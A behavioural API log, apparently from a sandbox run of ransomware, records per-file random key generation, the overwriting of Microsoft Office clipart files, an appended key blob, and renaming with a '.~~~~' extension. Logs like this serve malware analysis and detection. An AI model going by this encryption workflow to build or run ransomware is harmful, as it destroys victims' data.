	[0110.681] WriteFile (in: hFile=0x144, lpBuffer=0x28fd050*, nNumberOfBytesToWrite=0x27e0, lpNumberOfBytesWritten=0x1f8fec0, lpOverlapped=0x0 | out: lpBuffer=0x28fd050*, lpNumberOfBytesWritten=0x1f8fec0*=0x27e0, lpOverlapped=0x0) returned 1
	[0110.722] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x28fd050 | out: hHeap=0x300000) returned 1
	[0110.725] SetFilePointerEx (in: hFile=0x144, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1
	[0110.725] WriteFile (in: hFile=0x144, lpBuffer=0x368b90*, nNumberOfBytesToWrite=0x8, lpNumberOfBytesWritten=0x1f8fec0, lpOverlapped=0x0 | out: lpBuffer=0x368b90*, lpNumberOfBytesWritten=0x1f8fec0*=0x8, lpOverlapped=0x0) returned 1
	[0110.725] lstrlenA (lpString="ff9adce5d1999a19d7a1bf41e23a0520dc7873573292a0f0d4cb5ded2ad86c32d7e2da327a4cc55a621e77502b8e9936edbe6c2a95ba91b54d5135697840713b503a1bb495553b8b82806202a8690e6b446dab3a37f229028214d58fce3623dfe03ad041a836746ff68feb9e3d7a9daffeda13d592267e845a652662e2b5552b184ffc86ef05570139632d703f5d377e9c8421469caa9044650bd1effe73e654cecd9aac565e691430a97cfb177904cd8ab67c0ab614b6129833debf0b9d3135ae002eb221e4966953f46fcbd39aa5c8729834b83294aa7d387e63c53c0755302477b25257e354276c4111a1840fee8b8bbfe99664f3bec5880763f2bb52d93b") returned 512
	[0110.726] WriteFile (in: hFile=0x144, lpBuffer=0x47c6e8*, nNumberOfBytesToWrite=0x200, lpNumberOfBytesWritten=0x1f8fec0, lpOverlapped=0x0 | out: lpBuffer=0x47c6e8*, lpNumberOfBytesWritten=0x1f8fec0*=0x200, lpOverlapped=0x0) returned 1
	[0110.726] CloseHandle (hObject=0x144) returned 1
	[0110.727] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0xa0) returned 0x29c3bb8
	[0110.727] MoveFileW (lpExistingFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\NA02009_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\na02009_.wmf"), lpNewFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\NA02009_.WMF.~~~~" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\na02009_.wmf.~~~~")) returned 1
	[0110.728] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x29c3bb8 | out: hHeap=0x300000) returned 1
	[0110.728] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x357128 | out: hHeap=0x300000) returned 1
	[0110.728] GetLastError () returned 0x0
	[0110.729] CryptAcquireContextA (in: phProv=0x1f8fcdc, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x1f8fcdc*=0x3a0048) returned 1
	[0110.730] CryptGenRandom (in: hProv=0x3660b0, dwLen=0x20, pbBuffer=0x363058 | out: pbBuffer=0x363058) returned 1
	[0110.730] CryptReleaseContext (hProv=0x3a0048, dwFlags=0x0) returned 1
	[0110.730] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x363058 | out: hHeap=0x300000) returned 1
	[0110.730] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x8) returned 0x368b90
	[0110.730] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x120c) returned 0x2879920
	[0110.730] QueryPerformanceCounter (in: lpPerformanceCount=0x1f8fc48 | out: lpPerformanceCount=0x1f8fc48*=23072006117) returned 1
	[0110.730] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x1f8fc88 | out: lpSystemTimeAsFileTime=0x1f8fc88*(dwLowDateTime=0xab9c18f0, dwHighDateTime=0x1d60e1e)) 
	[0110.730] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x14) returned 0x362340
	[0110.730] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x14) returned 0x362400
	[0110.730] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x40) returned 0x357128
	[0110.730] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x30) returned 0x3a6ae8
	[0110.730] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x47) returned 0x3582f8
	[0110.730] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x3a6ae8 | out: hHeap=0x300000) returned 1
	[0110.730] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x6a) returned 0x27fd3a0
	[0110.730] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x3582f8 | out: hHeap=0x300000) returned 1
	[0110.730] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x9e) returned 0x29c3bb8
	[0110.730] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x27fd3a0 | out: hHeap=0x300000) returned 1
	[0110.731] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x90) returned 0x282cc70
	[0110.731] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x29c3bb8 | out: hHeap=0x300000) returned 1
	[0110.731] RaiseException (dwExceptionCode=0xe06d7363, dwExceptionFlags=0x1, nNumberOfArguments=0x3, lpArguments=0x1f8fb18) 
	[0110.731] GetLastError () returned 0x0
	[0110.731] GetLastError () returned 0x0
	[0110.731] RtlUnwind (TargetFrame=0x1f8fc20, TargetIp=0x423f9b, ExceptionRecord=0x1f8f5dc, ReturnValue=0x0) 
	[0110.731] GetLastError () returned 0x0
	[0110.731] GetLastError () returned 0x0
	[0110.735] SetFilePointerEx (in: hFile=0x144, liDistanceToMove=0xffff83b0, lpNewFilePointer=0xffffffff, dwMoveMethod=0x0 | out: lpNewFilePointer=0xffffffff) returned 1
	[0110.735] WriteFile (in: hFile=0x144, lpBuffer=0x29d8098*, nNumberOfBytesToWrite=0x7c50, lpNumberOfBytesWritten=0x1f8fec0, lpOverlapped=0x0 | out: lpBuffer=0x29d8098*, lpNumberOfBytesWritten=0x1f8fec0*=0x7c50, lpOverlapped=0x0) returned 1
	[0110.736] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x29d8098 | out: hHeap=0x300000) returned 1
	[0110.736] SetFilePointerEx (in: hFile=0x144, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1
	[0110.736] WriteFile (in: hFile=0x144, lpBuffer=0x368b90*, nNumberOfBytesToWrite=0x8, lpNumberOfBytesWritten=0x1f8fec0, lpOverlapped=0x0 | out: lpBuffer=0x368b90*, lpNumberOfBytesWritten=0x1f8fec0*=0x8, lpOverlapped=0x0) returned 1
	[0110.736] lstrlenA (lpString="ff9adce5d1999a19d7a1bf41e23a0520dc7873573292a0f0d4cb5ded2ad86c32d7e2da327a4cc55a621e77502b8e9936edbe6c2a95ba91b54d5135697840713b503a1bb495553b8b82806202a8690e6b446dab3a37f229028214d58fce3623dfe03ad041a836746ff68feb9e3d7a9daffeda13d592267e845a652662e2b5552b184ffc86ef05570139632d703f5d377e9c8421469caa9044650bd1effe73e654cecd9aac565e691430a97cfb177904cd8ab67c0ab614b6129833debf0b9d3135ae002eb221e4966953f46fcbd39aa5c8729834b83294aa7d387e63c53c0755302477b25257e354276c4111a1840fee8b8bbfe99664f3bec5880763f2bb52d93b") returned 512
	[0110.736] WriteFile (in: hFile=0x144, lpBuffer=0x47c6e8*, nNumberOfBytesToWrite=0x200, lpNumberOfBytesWritten=0x1f8fec0, lpOverlapped=0x0 | out: lpBuffer=0x47c6e8*, lpNumberOfBytesWritten=0x1f8fec0*=0x200, lpOverlapped=0x0) returned 1
	[0110.736] CloseHandle (hObject=0x144) returned 1
	[0110.736] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0xa0) returned 0x29c3bb8
	[0110.736] MoveFileW (lpExistingFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\NA02126_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\na02126_.wmf"), lpNewFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\NA02126_.WMF.~~~~" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\na02126_.wmf.~~~~")) returned 1
	[0110.737] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x29c3bb8 | out: hHeap=0x300000) returned 1
	[0110.737] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x357128 | out: hHeap=0x300000) returned 1
	[0110.737] GetLastError () returned 0x0
	[0110.738] CryptAcquireContextA (in: phProv=0x1f8fcdc, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x1f8fcdc*=0x3a0048) returned 1
	[0110.739] CryptGenRandom (in: hProv=0x3660b0, dwLen=0x20, pbBuffer=0x363058 | out: pbBuffer=0x363058) returned 1
	[0110.739] CryptReleaseContext (hProv=0x3a0048, dwFlags=0x0) returned 1
	[0110.739] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x363058 | out: hHeap=0x300000) returned 1
	[0110.739] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x8) returned 0x368b90
	[0110.739] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x120c) returned 0x2879920
	[0110.739] QueryPerformanceCounter (in: lpPerformanceCount=0x1f8fc48 | out: lpPerformanceCount=0x1f8fc48*=23072926341) returned 1
	[0110.739] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x1f8fc88 | out: lpSystemTimeAsFileTime=0x1f8fc88*(dwLowDateTime=0xab9e7a50, dwHighDateTime=0x1d60e1e)) 
	[0110.739] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x14) returned 0x362400
	[0110.739] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x14) returned 0x362340
	[0110.739] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x40) returned 0x357128
	[0110.739] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x30) returned 0x3a6b20
	[0110.739] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x47) returned 0x3582f8
	[0110.739] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x3a6b20 | out: hHeap=0x300000) returned 1
	[0110.740] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x6a) returned 0x27fd3a0
	[0110.740] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x3582f8 | out: hHeap=0x300000) returned 1
	[0110.740] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x9e) returned 0x29c3bb8
	[0110.740] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x27fd3a0 | out: hHeap=0x300000) returned 1
	[0110.740] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x90) returned 0x282d130
	[0110.740] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x29c3bb8 | out: hHeap=0x300000) returned 1
	[0110.740] RaiseException (dwExceptionCode=0xe06d7363, dwExceptionFlags=0x1, nNumberOfArguments=0x3, lpArguments=0x1f8fb18) 
	[0110.740] GetLastError () returned 0x0
	[0110.740] GetLastError () returned 0x0
	[0110.740] RtlUnwind (TargetFrame=0x1f8fc20, TargetIp=0x423f9b, ExceptionRecord=0x1f8f5dc, ReturnValue=0x0) 
	[0110.740] GetLastError () returned 0x0
	[0110.740] GetLastError () returned 0x0
	[0110.743] SetFilePointerEx (in: hFile=0x144, liDistanceToMove=0xfffff01c, lpNewFilePointer=0xffffffff, dwMoveMethod=0x0 | out: lpNewFilePointer=0xffffffff) returned 1
	[0110.743] WriteFile (in: hFile=0x144, lpBuffer=0x29d8098*, nNumberOfBytesToWrite=0xfe4, lpNumberOfBytesWritten=0x1f8fec0, lpOverlapped=0x0 | out: lpBuffer=0x29d8098*, lpNumberOfBytesWritten=0x1f8fec0*=0xfe4, lpOverlapped=0x0) returned 1
	[0110.744] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x29d8098 | out: hHeap=0x300000) returned 1
	[0110.744] SetFilePointerEx (in: hFile=0x144, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1
	[0110.744] WriteFile (in: hFile=0x144, lpBuffer=0x368b90*, nNumberOfBytesToWrite=0x8, lpNumberOfBytesWritten=0x1f8fec0, lpOverlapped=0x0 | out: lpBuffer=0x368b90*, lpNumberOfBytesWritten=0x1f8fec0*=0x8, lpOverlapped=0x0) returned 1
	[0110.744] lstrlenA (lpString="ff9adce5d1999a19d7a1bf41e23a0520dc7873573292a0f0d4cb5ded2ad86c32d7e2da327a4cc55a621e77502b8e9936edbe6c2a95ba91b54d5135697840713b503a1bb495553b8b82806202a8690e6b446dab3a37f229028214d58fce3623dfe03ad041a836746ff68feb9e3d7a9daffeda13d592267e845a652662e2b5552b184ffc86ef05570139632d703f5d377e9c8421469caa9044650bd1effe73e654cecd9aac565e691430a97cfb177904cd8ab67c0ab614b6129833debf0b9d3135ae002eb221e4966953f46fcbd39aa5c8729834b83294aa7d387e63c53c0755302477b25257e354276c4111a1840fee8b8bbfe99664f3bec5880763f2bb52d93b") returned 512
	[0110.744] WriteFile (in: hFile=0x144, lpBuffer=0x47c6e8*, nNumberOfBytesToWrite=0x200, lpNumberOfBytesWritten=0x1f8fec0, lpOverlapped=0x0 | out: lpBuffer=0x47c6e8*, lpNumberOfBytesWritten=0x1f8fec0*=0x200, lpOverlapped=0x0) returned 1
	[0110.744] CloseHandle (hObject=0x144) returned 1
	[0110.745] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0xa0) returned 0x29c3bb8
	[0110.745] MoveFileW (lpExistingFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\NA02127_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\na02127_.wmf"), lpNewFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\NA02127_.WMF.~~~~" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\na02127_.wmf.~~~~")) returned 1
	[0110.746] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x29c3bb8 | out: hHeap=0x300000) returned 1
	[0110.746] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x357128 | out: hHeap=0x300000) returned 1
	[0110.746] GetLastError () returned 0x0
	[0110.746] CryptAcquireContextA (in: phProv=0x1f8fcdc, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x1f8fcdc*=0x3a0048) returned 1
	[0110.747] CryptGenRandom (in: hProv=0x3660b0, dwLen=0x20, pbBuffer=0x363058 | out: pbBuffer=0x363058) returned 1
	[0110.747] CryptReleaseContext (hProv=0x3a0048, dwFlags=0x0) returned 1
	[0110.747] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x363058 | out: hHeap=0x300000) returned 1
	[0110.747] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x8) returned 0x368b90
	[0110.747] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x120c) returned 0x2879920
	[0110.747] QueryPerformanceCounter (in: lpPerformanceCount=0x1f8fc48 | out: lpPerformanceCount=0x1f8fc48*=23073749297) returned 1
	[0110.747] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x1f8fc88 | out: lpSystemTimeAsFileTime=0x1f8fc88*(dwLowDateTime=0xab9e7a50, dwHighDateTime=0x1d60e1e)) 
	[0110.747] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x14) returned 0x362340
	[0110.748] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x14) returned 0x362400
	[0110.748] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x40) returned 0x357128
	[0110.748] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x30) returned 0x3a6b58
	[0110.748] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x47) returned 0x3582f8
	[0110.748] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x3a6b58 | out: hHeap=0x300000) returned 1
	[0110.748] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x6a) returned 0x27fd3a0
	[0110.748] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x3582f8 | out: hHeap=0x300000) returned 1
	[0110.748] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x9e) returned 0x29c3bb8
	[0110.748] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x27fd3a0 | out: hHeap=0x300000) returned 1
	[0110.748] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x90) returned 0x282d1c8
	[0110.748] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x29c3bb8 | out: hHeap=0x300000) returned 1
	[0110.748] RaiseException (dwExceptionCode=0xe06d7363, dwExceptionFlags=0x1, nNumberOfArguments=0x3, lpArguments=0x1f8fb18) 
	[0110.748] GetLastError () returned 0x0
	[0110.748] GetLastError () returned 0x0
	[0110.748] RtlUnwind (TargetFrame=0x1f8fc20, TargetIp=0x423f9b, ExceptionRecord=0x1f8f5dc, ReturnValue=0x0) 
	[0110.748] GetLastError () returned 0x0
	[0110.748] GetLastError () returned 0x0
	[0110.751] SetFilePointerEx (in: hFile=0x144, liDistanceToMove=0xfffff300, lpNewFilePointer=0xffffffff, dwMoveMethod=0x0 | out: lpNewFilePointer=0xffffffff) returned 1
	[0110.751] WriteFile (in: hFile=0x144, lpBuffer=0x29d8098*, nNumberOfBytesToWrite=0xd00, lpNumberOfBytesWritten=0x1f8fec0, lpOverlapped=0x0 | out: lpBuffer=0x29d8098*, lpNumberOfBytesWritten=0x1f8fec0*=0xd00, lpOverlapped=0x0) returned 1
	[0110.751] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x29d8098 | out: hHeap=0x300000) returned 1
	[0110.751] SetFilePointerEx (in: hFile=0x144, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1
	[0110.751] WriteFile (in: hFile=0x144, lpBuffer=0x368b90*, nNumberOfBytesToWrite=0x8, lpNumberOfBytesWritten=0x1f8fec0, lpOverlapped=0x0 | out: lpBuffer=0x368b90*, lpNumberOfBytesWritten=0x1f8fec0*=0x8, lpOverlapped=0x0) returned 1
	[0110.751] lstrlenA (lpString="ff9adce5d1999a19d7a1bf41e23a0520dc7873573292a0f0d4cb5ded2ad86c32d7e2da327a4cc55a621e77502b8e9936edbe6c2a95ba91b54d5135697840713b503a1bb495553b8b82806202a8690e6b446dab3a37f229028214d58fce3623dfe03ad041a836746ff68feb9e3d7a9daffeda13d592267e845a652662e2b5552b184ffc86ef05570139632d703f5d377e9c8421469caa9044650bd1effe73e654cecd9aac565e691430a97cfb177904cd8ab67c0ab614b6129833debf0b9d3135ae002eb221e4966953f46fcbd39aa5c8729834b83294aa7d387e63c53c0755302477b25257e354276c4111a1840fee8b8bbfe99664f3bec5880763f2bb52d93b") returned 512
	[0110.752] WriteFile (in: hFile=0x144, lpBuffer=0x47c6e8*, nNumberOfBytesToWrite=0x200, lpNumberOfBytesWritten=0x1f8fec0, lpOverlapped=0x0 | out: lpBuffer=0x47c6e8*, lpNumberOfBytesWritten=0x1f8fec0*=0x200, lpOverlapped=0x0) returned 1
	[0110.752] CloseHandle (hObject=0x144) returned 1
	[0110.752] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0xa0) returned 0x29c3bb8
	[0110.752] MoveFileW (lpExistingFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\NA02262_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\na02262_.wmf"), lpNewFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\NA02262_.WMF.~~~~" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\na02262_.wmf.~~~~")) returned 1
	[0110.753] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x29c3bb8 | out: hHeap=0x300000) returned 1
	[0110.753] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x357128 | out: hHeap=0x300000) returned 1
	[0110.753] GetLastError () returned 0x0
	[0110.753] CryptAcquireContextA (in: phProv=0x1f8fcdc, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x1f8fcdc*=0x3a0048) returned 1
	[0110.754] CryptGenRandom (in: hProv=0x3660b0, dwLen=0x20, pbBuffer=0x363058 | out: pbBuffer=0x363058) returned 1
	[0110.754] CryptReleaseContext (hProv=0x3a0048, dwFlags=0x0) returned 1
	[0110.754] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x363058 | out: hHeap=0x300000) returned 1
	[0110.754] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x8) returned 0x368b90
	[0110.754] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x120c) returned 0x2879920
	[0110.754] QueryPerformanceCounter (in: lpPerformanceCount=0x1f8fc48 | out: lpPerformanceCount=0x1f8fc48*=23074434726) returned 1
	[0110.754] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x1f8fc88 | out: lpSystemTimeAsFileTime=0x1f8fc88*(dwLowDateTime=0xaba0dbb0, dwHighDateTime=0x1d60e1e)) 
	[0110.754] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x14) returned 0x362400
	[0110.754] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x14) returned 0x362340
	[0110.754] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x40) returned 0x357128
	[0110.755] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x30) returned 0x39de38
	[0110.755] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x47) returned 0x3582f8
	[0110.755] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x39de38 | out: hHeap=0x300000) returned 1
	[0110.755] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x6a) returned 0x27fd3a0
	[0110.755] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x3582f8 | out: hHeap=0x300000) returned 1
	[0110.755] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x9e) returned 0x29c3bb8
	[0110.755] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x27fd3a0 | out: hHeap=0x300000) returned 1
	[0110.755] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x90) returned 0x282d260
	[0110.755] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x29c3bb8 | out: hHeap=0x300000) returned 1
	[0110.755] RaiseException (dwExceptionCode=0xe06d7363, dwExceptionFlags=0x1, nNumberOfArguments=0x3, lpArguments=0x1f8fb18) 
	[0110.755] GetLastError () returned 0x0
	[0110.755] GetLastError () returned 0x0
	[0110.755] RtlUnwind (TargetFrame=0x1f8fc20, TargetIp=0x423f9b, ExceptionRecord=0x1f8f5dc, ReturnValue=0x0) 
	[0110.756] GetLastError () returned 0x0
	[0110.756] GetLastError () returned 0x0
	[0110.783] SetFilePointerEx (in: hFile=0x144, liDistanceToMove=0xfffff720, lpNewFilePointer=0xffffffff, dwMoveMethod=0x0 | out: lpNewFilePointer=0xffffffff) returned 1
	[0110.783] WriteFile (in: hFile=0x144, lpBuffer=0x29d8098*, nNumberOfBytesToWrite=0x8e0, lpNumberOfBytesWritten=0x1f8fec0, lpOverlapped=0x0 | out: lpBuffer=0x29d8098*, lpNumberOfBytesWritten=0x1f8fec0*=0x8e0, lpOverlapped=0x0) returned 1
	[0110.785] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x29d8098 | out: hHeap=0x300000) returned 1
	[0110.786] SetFilePointerEx (in: hFile=0x144, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1
	[0110.786] WriteFile (in: hFile=0x144, lpBuffer=0x368b90*, nNumberOfBytesToWrite=0x8, lpNumberOfBytesWritten=0x1f8fec0, lpOverlapped=0x0 | out: lpBuffer=0x368b90*, lpNumberOfBytesWritten=0x1f8fec0*=0x8, lpOverlapped=0x0) returned 1
	[0110.786] lstrlenA (lpString="ff9adce5d1999a19d7a1bf41e23a0520dc7873573292a0f0d4cb5ded2ad86c32d7e2da327a4cc55a621e77502b8e9936edbe6c2a95ba91b54d5135697840713b503a1bb495553b8b82806202a8690e6b446dab3a37f229028214d58fce3623dfe03ad041a836746ff68feb9e3d7a9daffeda13d592267e845a652662e2b5552b184ffc86ef05570139632d703f5d377e9c8421469caa9044650bd1effe73e654cecd9aac565e691430a97cfb177904cd8ab67c0ab614b6129833debf0b9d3135ae002eb221e4966953f46fcbd39aa5c8729834b83294aa7d387e63c53c0755302477b25257e354276c4111a1840fee8b8bbfe99664f3bec5880763f2bb52d93b") returned 512
	[0110.786] WriteFile (in: hFile=0x144, lpBuffer=0x47c6e8*, nNumberOfBytesToWrite=0x200, lpNumberOfBytesWritten=0x1f8fec0, lpOverlapped=0x0 | out: lpBuffer=0x47c6e8*, lpNumberOfBytesWritten=0x1f8fec0*=0x200, lpOverlapped=0x0) returned 1
	[0110.786] CloseHandle (hObject=0x144) returned 1
	[0110.795] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0xa0) returned 0x28a5f08
	[0110.805] MoveFileW (lpExistingFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\NA02264_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\na02264_.wmf"), lpNewFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\NA02264_.WMF.~~~~" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\na02264_.wmf.~~~~")) returned 1
	[0110.823] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x28a5f08 | out: hHeap=0x300000) returned 1
	[0110.823] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x357128 | out: hHeap=0x300000) returned 1
	[0110.823] GetLastError () returned 0x0
	[0110.823] CryptAcquireContextA (in: phProv=0x1f8fcdc, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x1f8fcdc*=0x3a0048) returned 1
	[0110.824] CryptGenRandom (in: hProv=0x3660b0, dwLen=0x20, pbBuffer=0x363058 | out: pbBuffer=0x363058) returned 1
	[0110.824] CryptReleaseContext (hProv=0x3a0048, dwFlags=0x0) returned 1
	[0110.824] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x363058 | out: hHeap=0x300000) returned 1
	[0110.824] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x8) returned 0x368b90
	[0110.824] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x120c) returned 0x2879920
	[0110.824] QueryPerformanceCounter (in: lpPerformanceCount=0x1f8fc48 | out: lpPerformanceCount=0x1f8fc48*=23081456375) returned 1
	[0110.825] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x1f8fc88 | out: lpSystemTimeAsFileTime=0x1f8fc88*(dwLowDateTime=0xabaa6130, dwHighDateTime=0x1d60e1e)) 
	[0110.825] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x14) returned 0x362340
	[0110.825] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x14) returned 0x362400
	[0110.825] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x40) returned 0x357128
	[0110.825] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x30) returned 0x27f9ba0
	[0110.825] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x47) returned 0x3582f8
	[0110.825] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x27f9ba0 | out: hHeap=0x300000) returned 1
	[0110.825] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x6a) returned 0x27fd3a0
	[0110.825] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x3582f8 | out: hHeap=0x300000) returned 1
	[0110.825] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x9e) returned 0x28a5f08
	[0110.825] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x27fd3a0 | out: hHeap=0x300000) returned 1
	[0110.825] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x90) returned 0x282d2f8
	[0110.825] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x28a5f08 | out: hHeap=0x300000) returned 1
	[0110.825] RaiseException (dwExceptionCode=0xe06d7363, dwExceptionFlags=0x1, nNumberOfArguments=0x3, lpArguments=0x1f8fb18) 
	[0110.825] GetLastError () returned 0x0
